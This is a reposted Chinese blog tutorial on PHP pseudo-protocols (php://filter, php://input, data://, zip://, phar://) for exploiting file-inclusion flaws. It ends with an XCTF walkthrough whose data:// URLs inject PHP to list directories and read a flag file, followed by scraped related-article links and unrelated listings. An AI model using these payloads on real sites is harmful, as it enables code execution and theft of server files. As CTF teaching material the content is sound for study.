本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)

一,php://  访问输入输出流,有两个常用的子协议

1,php://filter  设计用来过滤筛选文件

使用方法:非php语法文件include失败,直接输出源码内容。

php://filter/resource=需要包含的文件

还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码

php://filter/read=convert.base64-encode/resouece=需要包含的文件

二、php://input

利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可

三、file://  后跟文件目录绝对路径

file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

四、phar://  可以查找指定压缩包内的文件

使用绝对路径与相对路径均可

五、zip://  用法与phar类似,不过有两点要注意

1,只能传入绝对路径。

2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

六、data  与input 类似,都是用户可以控制传入的php代码

1,直接写入代码

data: text/plain,<?php 执行内容 ?>

2、base64编码后写入代码

data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

 

注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

七、http协议

include中也可以传入外部链接,采用http://

关于allow_url_fopen和allow_url_include的设置和用法总结:

XCTF例题:

除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些

echo $_SERVER['DOCUMENT_ROOT'];

再查看根目录下有哪些文件:

http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

file_get_contents

file_get_contents — 将整个文件读入一个字符串

htmlspecialchars

htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

php伪协议分析与CTF例题讲解的更多相关文章

  1. CTF 文件包含与伪协议

    正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...

  2. CTF伪协议+preg_replace()函数的代码执行

    一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...

  3. CTF中常用的php伪协议利用

    1.file:// 作用: 用于访问文件(绝对路径.相对路径.网络路径) 示例: http://www.xx.com?file=file:///etc/passsword 2.php:// 作用:访问 ...

  4. NetAnalyzer笔记 之 二. 简单的协议分析

    [创建时间:2015-08-27 22:15:17] NetAnalyzer下载地址 上篇我们回顾完了NetAnalyzer一些可有可无的历史,在本篇,我决定先不对NetAnalyzer做介绍,而是先 ...

  5. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  6. linux 网络协议分析---3

    本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 网络接口层 ...

  7. URI Scheme注册伪协议实现远程命令执行

    Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...

  8. 【转】证书的应用之一 —— TCP&SSL通信实例及协议分析(下)

    原文链接 前面两部分分别讲解了如何在.net程序中使用SSL实现安全通信以及SSL的通信过程,并通过抓包工具具体分析了ssl的握手过程,本文通过一个demo来模拟ssl协议,在TCP之上实现自己的安全 ...

  9. VNC协议分析

    VNC协议分析 摘自: http://blog.csdn.net/forever_feng/article/details/4703088 简介 VNC(Virtual Network Computi ...

随机推荐

  1. Codeforces Round #529 (Div. 3) D. Circular Dance (思维)

    题意:有\(n\)个熊小孩,绕着树转圈圈,编号\(i\)的小孩可以记住\(a_{i,1}\)和\(a_{i,2}\)两个小孩,这两个小孩是顺时针相邻的,但谁前谁后不一定.现在给你每个小孩的\(a_{i ...

  2. virtualBox 设置增强功能粘贴和拖放

    virtualBox 5.2.8 (在运行的虚拟里中) 设备 -> 安装增强功能 virtualBox 管理器中设置(要在虚拟机关机的情况下配置) 常规 -> 高级里设置双向粘贴和拖放

  3. codeforces - 978D【思维】

    D. Almost Arithmetic Progression time limit per test 1 second memory limit per test 256 megabytes in ...

  4. L3-002. 堆栈【主席树 or 线段树 or 分块】

    L3-002. 堆栈 时间限制 200 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 陈越 大家都知道"堆栈"是一种"先 ...

  5. 记一次 Raven2 渗透(phpmailer漏洞+UDF提权)

    目录: 1. 寻找IP 2.dirb目录爆破 2.PHPMailer漏洞反弹得到shell 3.python版本的exp修改 4.查看wordpress的wp-config.php配置文件得到数据库账 ...

  6. MarkDown(文本编译器)

    MarkDown(一种高效的文本编译器) 推荐使用Typora 点击此处下载 使用方法 1. 首先创建一个文本文件xxx.txt. 2. 然后修改文件后缀为xxx.md.(可以记做玛德...) 3. ...

  7. Free Video Player All In One

    Free Video Player All In One VLC media player https://github.com/videolan/vlc VideoLAN https://www.v ...

  8. CSS Dark Mode

    CSS Dark Mode https://kevq.uk/automatic-dark-mode/ https://kevq.uk/how-to-add-css-dark-mode-to-a-web ...

  9. how to close macos eject icon from menu bar

    how to close macOS eject icon from the menu bar close eject https://apple.stackexchange.com/question ...

  10. 2020 web developer roadmap

    2020 web developer roadmap https://github.com/kamranahmedse/developer-roadmap https://roadmap.sh/ ht ...